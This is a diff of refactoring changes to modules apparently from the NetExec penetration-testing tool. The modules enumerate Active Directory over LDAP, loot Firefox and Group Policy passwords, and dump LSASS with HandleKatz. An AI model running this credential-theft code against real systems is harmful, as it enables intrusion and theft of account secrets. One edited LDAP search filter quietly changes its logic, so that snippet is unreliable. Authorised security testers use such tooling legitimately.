supported_protocols = ['ldap']
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
"""
|
||||
|
||||
name = "find-computer"
|
||||
description = "Finds computers in the domain via the provided text"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
"""
|
||||
find-computer: Specify find-computer to call the module
|
||||
TEXT: Specify the TEXT option to enter your text to search for
|
||||
Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
|
||||
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
|
||||
'''
|
||||
"""
|
||||
self.TEXT = ""
|
||||
|
||||
self.TEXT = ''
|
||||
|
||||
if 'TEXT' in module_options:
|
||||
self.TEXT = module_options['TEXT']
|
||||
if "TEXT" in module_options:
|
||||
self.TEXT = module_options["TEXT"]
|
||||
else:
|
||||
context.log.error('TEXT option is required!')
|
||||
exit(1)
|
||||
context.log.error("TEXT option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
|
||||
# Building the search filter
|
||||
searchFilter = "(&(objectCategory=computer)(&(|(operatingSystem=*"+self.TEXT+"*)(name=*"+self.TEXT+"*))))"
|
||||
search_filter = f"(&(objectCategory=computer)(&(|(operatingSystem=*{self.TEXT}*))(name=*{self.TEXT}*)))"
|
||||
|
||||
try:
|
||||
context.log.debug('Search Filter=%s' % searchFilter)
|
||||
resp = connection.ldapConnection.search(searchFilter=searchFilter,
|
||||
attributes=['dNSHostName','operatingSystem'],
|
||||
sizeLimit=0)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
||||
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
|
||||
except LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
resp = e.getAnswers()
|
||||
pass
|
||||
else:
|
||||
logging.debug(e)
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug('Total no. of records returned %d' % len(resp))
|
||||
context.log.debug(f"Total no. of records returned: {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
if isinstance(item, SearchResultEntry) is not True:
|
||||
continue
|
||||
dNSHostName = ''
|
||||
operatingSystem = ''
|
||||
dns_host_name = ""
|
||||
operating_system = ""
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == 'dNSHostName':
|
||||
dNSHostName = str(attribute['vals'][0])
|
||||
elif str(attribute['type']) == 'operatingSystem':
|
||||
operatingSystem = attribute['vals'][0]
|
||||
if dNSHostName != '' and operatingSystem != '':
|
||||
answers.append([dNSHostName,operatingSystem])
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "dNSHostName":
|
||||
dns_host_name = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "operatingSystem":
|
||||
operating_system = attribute["vals"][0]
|
||||
if dns_host_name != "" and operating_system != "":
|
||||
answers.append([dns_host_name, operating_system])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
|
||||
pass
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e}")
|
||||
if len(answers) > 0:
|
||||
context.log.success('Found the following computers: ')
|
||||
context.log.success("Found the following computers: ")
|
||||
for answer in answers:
|
||||
try:
|
||||
IP = socket.gethostbyname(answer[0])
|
||||
context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],IP))
|
||||
context.log.debug('IP found')
|
||||
except socket.gaierror as e:
|
||||
context.log.debug('Missing IP')
|
||||
context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],"No IP Found"))
|
||||
ip = socket.gethostbyname(answer[0])
|
||||
context.log.highlight(f"{answer[0]} ({answer[1]}) ({ip})")
|
||||
context.log.debug("IP found")
|
||||
except socket.gaierror:
|
||||
context.log.debug("Missing IP")
|
||||
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
|
||||
else:
|
||||
context.log.success('Unable to find any computers with the text "' + self.TEXT + '"')
|
||||
context.log.success(f"Unable to find any computers with the text {self.TEXT}")
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
from dploot.lib.target import Target
|
||||
from nxc.protocols.smb.firefox import FirefoxTriage
|
||||
|
||||
|
@ -18,7 +17,6 @@ class NXCModule:
|
|||
|
||||
def options(self, context, module_options):
|
||||
"""Dump credentials from Firefox"""
|
||||
pass
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
|
@ -50,8 +48,7 @@ class NXCModule:
|
|||
firefox_credentials = firefox_triage.run()
|
||||
for credential in firefox_credentials:
|
||||
context.log.highlight(
|
||||
"[%s][FIREFOX] %s %s:%s"
|
||||
% (
|
||||
"[{}][FIREFOX] {} {}:{}".format(
|
||||
credential.winuser,
|
||||
credential.url + " -" if credential.url != "" else "-",
|
||||
credential.username,
|
||||
|
@ -59,4 +56,4 @@ class NXCModule:
|
|||
)
|
||||
)
|
||||
except Exception as e:
|
||||
context.log.debug("Error while looting firefox: {}".format(e))
|
||||
context.log.debug(f"Error while looting firefox: {e}")
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
import re
|
||||
|
@ -42,7 +39,7 @@ class NXCModule:
|
|||
searchFilter = "(objectclass=user)"
|
||||
|
||||
try:
|
||||
context.log.debug("Search Filter=%s" % searchFilter)
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "description"],
|
||||
|
@ -54,13 +51,12 @@ class NXCModule:
|
|||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
resp = e.getAnswers()
|
||||
pass
|
||||
else:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug("Total of records returned %d" % len(resp))
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
|
@ -76,13 +72,12 @@ class NXCModule:
|
|||
answers.append([sAMAccountName, description])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
|
||||
pass
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
answers = self.filter_answer(context, answers)
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight("User: {} description: {}".format(answer[0], answer[1]))
|
||||
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
|
||||
|
||||
def filter_answer(self, context, answers):
|
||||
# No option to filter
|
||||
|
@ -107,10 +102,6 @@ class NXCModule:
|
|||
if self.regex.search(description):
|
||||
conditionPasswordPolicy = True
|
||||
|
||||
if self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy:
|
||||
answersFiltered.append([answer[0], description])
|
||||
elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy:
|
||||
answersFiltered.append([answer[0], description])
|
||||
elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter:
|
||||
if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
|
||||
answersFiltered.append([answer[0], description])
|
||||
return answersFiltered
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
import json
|
||||
|
@ -20,14 +17,11 @@ class NXCModule:
|
|||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
No options
|
||||
"""
|
||||
pass
|
||||
"""No options"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
data = []
|
||||
cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
|
||||
cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
|
||||
if cards:
|
||||
for c in cards:
|
||||
if c["IPAddress"].get("value"):
|
||||
|
@ -35,6 +29,6 @@ class NXCModule:
|
|||
|
||||
data.append(cards)
|
||||
|
||||
log_name = "network-connections-{}-{}.log".format(connection.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
||||
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
write_log(json.dumps(data), log_name)
|
||||
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import xml.etree.ElementTree as ET
|
||||
from io import BytesIO
|
||||
|
||||
|
@ -30,7 +27,7 @@ class NXCModule:
|
|||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
|
||||
for path in paths:
|
||||
context.log.display("Found {}".format(path))
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
|
@ -56,7 +53,7 @@ class NXCModule:
|
|||
domains.append(attrs["value"])
|
||||
|
||||
if usernames or passwords:
|
||||
context.log.success("Found credentials in {}".format(path))
|
||||
context.log.highlight("Usernames: {}".format(usernames))
|
||||
context.log.highlight("Domains: {}".format(domains))
|
||||
context.log.highlight("Passwords: {}".format(passwords))
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import xml.etree.ElementTree as ET
|
||||
from Cryptodome.Cipher import AES
|
||||
from base64 import b64decode
|
||||
|
@ -43,7 +40,7 @@ class NXCModule:
|
|||
)
|
||||
|
||||
for path in paths:
|
||||
context.log.display("Found {}".format(path))
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
|
@ -57,10 +54,7 @@ class NXCModule:
|
|||
sections.append("./NTService/Properties")
|
||||
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.append("./Task/Properties")
|
||||
sections.append("./ImmediateTask/Properties")
|
||||
sections.append("./ImmediateTaskV2/Properties")
|
||||
sections.append("./TaskV2/Properties")
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
|
@ -88,11 +82,11 @@ class NXCModule:
|
|||
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
|
||||
context.log.success("Found credentials in {}".format(path))
|
||||
context.log.highlight("Password: {}".format(password))
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight("{}: {}".format(k, v))
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
|
|
|
@ -1,100 +1,91 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
import sys
|
||||
|
||||
|
||||
class NXCModule:
|
||||
'''
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
"""
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
'''
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
"""
|
||||
|
||||
name = 'group-mem'
|
||||
description = 'Retrieves all the members within a Group'
|
||||
supported_protocols = ['ldap']
|
||||
name = "group-mem"
|
||||
description = "Retrieves all the members within a Group"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
primaryGroupID = ''
|
||||
primaryGroupID = ""
|
||||
answers = []
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
"""
|
||||
group-mem: Specify group-mem to call the module
|
||||
GROUP: Specify the GROUP option to query for that group's members
|
||||
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
|
||||
nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain controllers"
|
||||
'''
|
||||
"""
|
||||
self.GROUP = ""
|
||||
|
||||
self.GROUP = ''
|
||||
|
||||
if 'GROUP' in module_options:
|
||||
self.GROUP = module_options['GROUP']
|
||||
if "GROUP" in module_options:
|
||||
self.GROUP = module_options["GROUP"]
|
||||
else:
|
||||
context.log.error('GROUP option is required!')
|
||||
exit(1)
|
||||
context.log.error("GROUP option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
|
||||
#First look up the SID of the group passed in
|
||||
searchFilter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
|
||||
# First look up the SID of the group passed in
|
||||
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
|
||||
attribute = "objectSid"
|
||||
|
||||
searchResult = doSearch(self, context, connection, searchFilter, attribute)
|
||||
#If no SID for the Group is returned exit the program
|
||||
if searchResult is None:
|
||||
search_result = do_search(self, context, connection, search_filter, attribute)
|
||||
# If no SID for the Group is returned exit the program
|
||||
if search_result is None:
|
||||
context.log.success('Unable to find any members of the "' + self.GROUP + '" group')
|
||||
return True
|
||||
|
||||
# Convert the binary SID to a primaryGroupID string to be used further
|
||||
sidString = connection.sid_to_str(searchResult).split("-")
|
||||
self.primaryGroupID = sidString[-1]
|
||||
sid_string = connection.sid_to_str(search_result).split("-")
|
||||
self.primaryGroupID = sid_string[-1]
|
||||
|
||||
#Look up the groups DN
|
||||
searchFilter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
|
||||
# Look up the groups DN
|
||||
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
|
||||
attribute = "distinguishedName"
|
||||
distinguishedName = (doSearch(self, context, connection, searchFilter, attribute)).decode("utf-8")
|
||||
distinguished_name = (do_search(self, context, connection, search_filter, attribute)).decode("utf-8")
|
||||
|
||||
# Carry out the search
|
||||
searchFilter = "(|(memberOf="+distinguishedName+")(primaryGroupID="+self.primaryGroupID+"))"
|
||||
search_filter = "(|(memberOf=" + distinguished_name + ")(primaryGroupID=" + self.primaryGroupID + "))"
|
||||
attribute = "sAMAccountName"
|
||||
searchResult = doSearch(self, context, connection, searchFilter, attribute)
|
||||
search_result = do_search(self, context, connection, search_filter, attribute)
|
||||
|
||||
if len(self.answers) > 0:
|
||||
context.log.success('Found the following members of the ' + self.GROUP + ' group:')
|
||||
context.log.success("Found the following members of the " + self.GROUP + " group:")
|
||||
for answer in self.answers:
|
||||
context.log.highlight(u'{}'.format(answer[0]))
|
||||
context.log.highlight(f"{answer[0]}")
|
||||
|
||||
|
||||
# Carry out an LDAP search for the Group with the supplied Group name
|
||||
def doSearch(self,context, connection,searchFilter,attributeName):
|
||||
def do_search(self, context, connection, searchFilter, attributeName):
|
||||
try:
|
||||
context.log.debug('Search Filter=%s' % searchFilter)
|
||||
resp = connection.ldapConnection.search(searchFilter=searchFilter,
|
||||
attributes=[attributeName],
|
||||
sizeLimit=0)
|
||||
context.log.debug('Total no. of records returned %d' % len(resp))
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
|
||||
context.log.debug(f"Total number of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
attributeValue = '';
|
||||
attribute_value = ""
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == attributeName:
|
||||
if attributeName == "objectSid":
|
||||
attributeValue = bytes(attribute['vals'][0])
|
||||
return attributeValue;
|
||||
elif attributeName == "distinguishedName":
|
||||
attributeValue = bytes(attribute['vals'][0])
|
||||
return attributeValue;
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == attributeName:
|
||||
if attributeName in ["objectSid", "distinguishedName"]:
|
||||
return bytes(attribute["vals"][0])
|
||||
else:
|
||||
attributeValue = str(attribute['vals'][0])
|
||||
if attributeValue is not None:
|
||||
self.answers.append([attributeValue])
|
||||
attribute_value = str(attribute["vals"][0])
|
||||
if attribute_value is not None:
|
||||
self.answers.append([attribute_value])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
|
||||
pass
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e}")
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", e)
|
||||
context.log.debug(f"Exception: {e}")
|
||||
return False
|
||||
|
|
|
@ -1,8 +1,6 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
import sys
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
@ -21,27 +19,24 @@ class NXCModule:
|
|||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USER Choose a username to query group membership
|
||||
"""
|
||||
|
||||
"""USER Choose a username to query group membership"""
|
||||
self.user = ""
|
||||
if "USER" in module_options:
|
||||
if module_options["USER"] == "":
|
||||
context.log.fail("Invalid value for USER option!")
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
self.user = module_options["USER"]
|
||||
else:
|
||||
context.log.fail("Missing USER option, use --options to list available parameters")
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
|
||||
# Building the search filter
|
||||
searchFilter = "(&(objectClass=user)(sAMAccountName={}))".format(self.user)
|
||||
searchFilter = f"(&(objectClass=user)(sAMAccountName={self.user}))"
|
||||
|
||||
try:
|
||||
context.log.debug("Search Filter=%s" % searchFilter)
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["memberOf", "primaryGroupID"],
|
||||
|
@ -53,7 +48,6 @@ class NXCModule:
|
|||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
resp = e.getAnswers()
|
||||
pass
|
||||
else:
|
||||
context.log.debug(e)
|
||||
return False
|
||||
|
@ -61,7 +55,7 @@ class NXCModule:
|
|||
memberOf = []
|
||||
primaryGroupID = ""
|
||||
|
||||
context.log.debug("Total of records returned %d" % len(resp))
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
|
@ -75,16 +69,12 @@ class NXCModule:
|
|||
if str(primaryGroupID) == "513":
|
||||
memberOf.append("CN=Domain Users,CN=Users,DC=XXXXX,DC=XXX")
|
||||
elif str(attribute["type"]) == "memberOf":
|
||||
for group in attribute["vals"]:
|
||||
if isinstance(group._value, bytes):
|
||||
memberOf.append(str(group))
|
||||
|
||||
memberOf += [str(group) for group in attribute["vals"] if isinstance(group._value, bytes)]
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
|
||||
pass
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
if len(memberOf) > 0:
|
||||
context.log.success("User: {} is member of following groups: ".format(self.user))
|
||||
context.log.success(f"User: {self.user} is member of following groups: ")
|
||||
for group in memberOf:
|
||||
# Split the string on the "," character to get a list of the group name and parent group names
|
||||
group_parts = group.split(",")
|
||||
|
@ -93,5 +83,4 @@ class NXCModule:
|
|||
# and splitting it on the "=" character to get a list of the group name and its prefix (e.g., "CN")
|
||||
group_name = group_parts[0].split("=")[1]
|
||||
|
||||
# print("Group name: %s" % group_name)
|
||||
context.log.highlight("{}".format(group_name))
|
||||
context.log.highlight(f"{group_name}")
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# handlekatz module for nxc python3
|
||||
# author of the module : github.com/mpgn
|
||||
# HandleKatz: https://github.com/codewhitesec/HandleKatz
|
||||
|
@ -10,6 +7,7 @@ import re
|
|||
import sys
|
||||
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
import pypykatz
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
@ -20,13 +18,12 @@ class NXCModule:
|
|||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
|
||||
HANDLEKATZ_PATH Path where handlekatz.exe is on your system (default: /tmp/)
|
||||
HANDLEKATZ_EXE_NAME Name of the handlekatz executable (default: handlekatz.exe)
|
||||
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = HANDLEKATZ_PATH)
|
||||
"""
|
||||
|
||||
self.tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.tmp_dir.split(":")[1]
|
||||
|
@ -52,12 +49,19 @@ class NXCModule:
|
|||
self.dir_result = module_options["DIR_RESULT"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
handlekatz_loc = self.handlekatz_path + self.handlekatz
|
||||
|
||||
if self.useembeded:
|
||||
with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz:
|
||||
handlekatz.write(self.handlekatz_embeded)
|
||||
try:
|
||||
with open(handlekatz_loc, "wb") as handlekatz:
|
||||
handlekatz.write(self.handlekatz_embeded)
|
||||
except FileNotFoundError:
|
||||
context.log.fail(f"Handlekatz file specified '{handlekatz_loc}' does not exist!")
|
||||
sys.exit(1)
|
||||
|
||||
context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}")
|
||||
with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz:
|
||||
|
||||
with open(handlekatz_loc, "rb") as handlekatz:
|
||||
try:
|
||||
connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read)
|
||||
context.log.success(f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}")
|
||||
|
@ -73,7 +77,7 @@ class NXCModule:
|
|||
p = p[0]
|
||||
|
||||
if not p or p == "None":
|
||||
context.log.fail(f"Failed to execute command to get LSASS PID")
|
||||
context.log.fail("Failed to execute command to get LSASS PID")
|
||||
return
|
||||
# we get a CSV string back from `tasklist`, so we grab the PID from it
|
||||
pid = p.split(",")[1][1:-1]
|
||||
|
@ -121,17 +125,17 @@ class NXCModule:
|
|||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
|
||||
h_in = open(self.dir_result + machine_name, "rb")
|
||||
h_out = open(self.dir_result + machine_name + ".decode", "wb")
|
||||
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
|
||||
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
|
||||
|
||||
bytes_in = bytearray(h_in.read())
|
||||
bytes_in_len = len(bytes_in)
|
||||
|
||||
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
|
||||
|
||||
chunks = [bytes_in[i : i + 1000000] for i in range(0, bytes_in_len, 1000000)]
|
||||
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
|
||||
for chunk in chunks:
|
||||
for i in range(0, len(chunk)):
|
||||
for i in range(len(chunk)):
|
||||
chunk[i] ^= 0x41
|
||||
|
||||
h_out.write(bytes(chunk))
|
||||
|
@ -177,4 +181,4 @@ class NXCModule:
|
|||
if len(credz_bh) > 0:
|
||||
add_user_bh(credz_bh, None, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.fail("Error opening dump file", str(e))
|
||||
context.log.fail(f"Error opening dump file: {e}")
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Author: Peter Gormington (@hackerm00n on Twitter)
|
||||
import logging
|
||||
from sqlite3 import connect
|
||||
|
@ -12,7 +10,6 @@ from lsassy.session import Session
|
|||
from lsassy.impacketfile import ImpacketFile
|
||||
|
||||
credentials_data = []
|
||||
admin_results = []
|
||||
found_users = []
|
||||
reported_da = []
|
||||
|
||||
|
@ -24,9 +21,9 @@ def neo4j_conn(context, connection, driver):
|
|||
session = driver.session()
|
||||
list(session.run("MATCH (g:Group) return g LIMIT 1"))
|
||||
context.log.display("Connection Successful!")
|
||||
except AuthError as e:
|
||||
except AuthError:
|
||||
context.log.fail("Invalid credentials")
|
||||
except ServiceUnavailable as e:
|
||||
except ServiceUnavailable:
|
||||
context.log.fail("Could not connect to neo4j database")
|
||||
except Exception as e:
|
||||
context.log.fail("Error querying domain admins")
|
||||
|
@ -37,15 +34,14 @@ def neo4j_conn(context, connection, driver):
|
|||
|
||||
|
||||
def neo4j_local_admins(context, driver):
|
||||
global admin_results
|
||||
try:
|
||||
session = driver.session()
|
||||
admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
|
||||
context.log.success("Admins and PCs obtained.")
|
||||
except Exception:
|
||||
context.log.fail("Could not pull admins")
|
||||
exit()
|
||||
admin_results = [record for record in admins.data()]
|
||||
context.log.success("Admins and PCs obtained")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Could not pull admins: {e}")
|
||||
return None
|
||||
return list(admins.data())
|
||||
|
||||
|
||||
def create_db(local_admins, dbconnection, cursor):
|
||||
|
@ -69,7 +65,7 @@ def create_db(local_admins, dbconnection, cursor):
|
|||
if user not in admin_users:
|
||||
admin_users.append(user)
|
||||
for user in admin_users:
|
||||
cursor.execute("""INSERT OR IGNORE INTO admin_users(username) VALUES(?)""", [user])
|
||||
cursor.execute("INSERT OR IGNORE INTO admin_users(username) VALUES(?)", [user])
|
||||
dbconnection.commit()
|
||||
|
||||
|
||||
|
@ -107,13 +103,13 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
|
|||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
||||
paths = [record for record in path_to_da.data()]
|
||||
paths = list(path_to_da.data())
|
||||
|
||||
for path in paths:
|
||||
if path:
|
||||
for key, value in path.items():
|
||||
for value in path.values():
|
||||
for item in value:
|
||||
if type(item) == dict:
|
||||
if isinstance(item, dict):
|
||||
if {item["name"]} not in reported_da:
|
||||
context.log.success(f"You have a valid path to DA as {item['name']}.")
|
||||
reported_da.append({item["name"]})
|
||||
|
@ -147,15 +143,17 @@ class NXCModule:
|
|||
self.reset = None
|
||||
self.reset_dumped = None
|
||||
self.method = None
|
||||
|
||||
@staticmethod
|
||||
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
|
||||
host_id = context.db.get_computers(connection.host)[0][0]
|
||||
if password is not None:
|
||||
credential_type = 'plaintext'
|
||||
credential_type = "plaintext"
|
||||
else:
|
||||
credential_type = 'hash'
|
||||
password = ':'.join(h for h in [lmhash, nthash] if h is not None)
|
||||
credential_type = "hash"
|
||||
password = ":".join(h for h in [lmhash, nthash] if h is not None)
|
||||
context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
